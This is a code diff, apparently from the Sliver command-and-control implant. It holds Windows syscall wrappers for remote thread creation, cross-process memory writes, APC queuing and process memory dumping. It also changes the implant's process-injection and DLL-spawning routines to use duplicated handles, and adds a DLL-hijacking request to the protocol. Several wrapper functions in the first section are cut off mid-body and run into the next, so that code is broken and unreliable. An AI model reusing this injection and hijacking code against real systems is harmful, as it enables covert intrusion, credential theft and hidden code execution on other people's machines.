func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
err = errnoErr(e1)
}
return
}
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
err = errnoErr(e1)
}
return
}
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
lpRes = uintptr(r0)
if lpRes == 0 {
err = errnoErr(e1)
}
return
}
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
res = uint32(r0)
if res == 0 {
err = errnoErr(e1)
}
return
}
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
err = errnoErr(e1)
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
+66 -15
View File
@@ -44,11 +44,6 @@ import (
"golang.org/x/sys/windows"
)
const (
PROCESS_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xfff
STILL_ACTIVE = 259
)
var (
ntdllPath = "C:\\Windows\\System32\\ntdll.dll" // We make this a var so the string obfuscator can refactor it
kernel32dllPath = "C:\\Windows\\System32\\kernel32.dll"
@@ -139,15 +134,30 @@ func injectTask(processHandle windows.Handle, data []byte, rwxPages bool) (windo
// RermoteTask - Injects Task into a processID using remote threads
func RemoteTask(processID int, data []byte, rwxPages bool) error {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
return err
}
processHandle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(processID))
processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(processID))
if processHandle == 0 {
return err
}
_, err = injectTask(processHandle, data, rwxPages)
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return err
}
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
log.Println("DuplicateHandle failed")
// {{end}}
return err
}
_, err = injectTask(lpTargetHandle, data, rwxPages)
if err != nil {
return err
}
@@ -192,7 +202,10 @@ func LocalTask(data []byte, rwxPages bool) error {
}
func ExecuteAssembly(data []byte, process string) (string, error) {
var stdoutBuf, stderrBuf bytes.Buffer
var (
stdoutBuf, stderrBuf bytes.Buffer
lpTargetHandle windows.Handle
)
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
if err != nil {
//{{if .Config.Debug}}
@@ -204,11 +217,27 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
// {{if .Config.Debug}}
log.Printf("[*] %s started, pid = %d\n", process, pid)
// {{end}}
handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
if err != nil {
return "", err
}
threadHandle, err := injectTask(handle, data, false)
defer windows.CloseHandle(handle)
defer windows.CloseHandle(lpTargetHandle)
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
log.Println("DuplicateHandle failed")
// {{end}}
return "", err
}
threadHandle, err := injectTask(lpTargetHandle, data, false)
if err != nil {
return "", err
}
@@ -226,6 +255,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
}
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
return "", err
@@ -241,19 +271,34 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
// {{if .Config.Debug}}
log.Printf("[*] %s started, pid = %d\n", procName, pid)
// {{end}}
handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
if err != nil {
return "", err
}
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
log.Println("DuplicateHandle failed")
// {{end}}
return "", err
}
defer windows.CloseHandle(handle)
dataAddr, err := allocAndWrite(data, handle, uint32(len(data)))
defer windows.CloseHandle(lpTargetHandle)
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
argAddr := uintptr(0)
if len(args) > 0 {
//{{if .Config.Debug}}
log.Printf("Args: %s\n", args)
//{{end}}
argsArray := []byte(args)
argAddr, err = allocAndWrite(argsArray, handle, uint32(len(argsArray)))
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
if err != nil {
return "", err
}
@@ -262,7 +307,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
log.Printf("[*] Args addr: 0x%08x\n", argAddr)
//{{end}}
startAddr := uintptr(dataAddr) + uintptr(offset)
threadHandle, err := protectAndExec(handle, dataAddr, startAddr, argAddr, uint32(len(data)))
threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
if err != nil {
return "", err
}
@@ -275,6 +320,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
if err != nil {
return "", err
}
// {{if .Config.Debug}}
log.Printf("[*] Thread completed execution, attempting to kill remote process\n")
// {{end}}
cmd.Process.Kill()
return stdoutBuff.String() + stderrBuff.String(), nil
}
@@ -346,7 +394,10 @@ func waitForCompletion(threadHandle windows.Handle) error {
// {{end}}
return err
}
if code == STILL_ACTIVE {
// {{if .Config.Debug}}
log.Printf("[!] Error: %v, code: %d\n", err, code)
// {{end}}
if code == syscalls.STILL_ACTIVE {
time.Sleep(time.Second)
} else {
break
+1 -1
View File
@@ -32,8 +32,8 @@ import (
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"github.com/lesnuages/go-winio"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -53,7 +53,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -36,7 +36,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
+1 -1
View File
@@ -10,7 +10,7 @@ import (
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -37,10 +37,10 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/implant/sliver/netstack"
"github.com/golang/protobuf/proto"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"golang.zx2c4.com/wireguard/tun"
"google.golang.org/protobuf/proto"
)
var (
+1 -1
View File
@@ -44,7 +44,7 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{if .Config.HTTPc2Enabled}}
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
// {{end}}
// {{if .Config.TCPPivotc2Enabled}}
+1 -1
View File
@@ -46,7 +46,7 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
File diff suppressed because it is too large. Load diff
+14
View File
@@ -196,6 +196,7 @@ message MTLSListener {
}
message WGListenerReq {
string Host = 6;
uint32 Port = 1;
string TunIP = 2;
uint32 NPort = 3;
@@ -366,6 +367,19 @@ message MigrateReq {
commonpb.Request Request = 9;
}
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
// [ Tunnels ] ----------------------------------------
message CreateTunnelReq {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+276 -242
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xea, 0x2a, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0x86, 0x2d, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -323,61 +323,79 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e,
0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53,
0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71,
0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f,
0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53,
0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61,
0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52,
0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11,
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73,
0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65,
0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12,
0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56,
0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c,
0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73,
0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d,
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c,
0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c,
0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65,
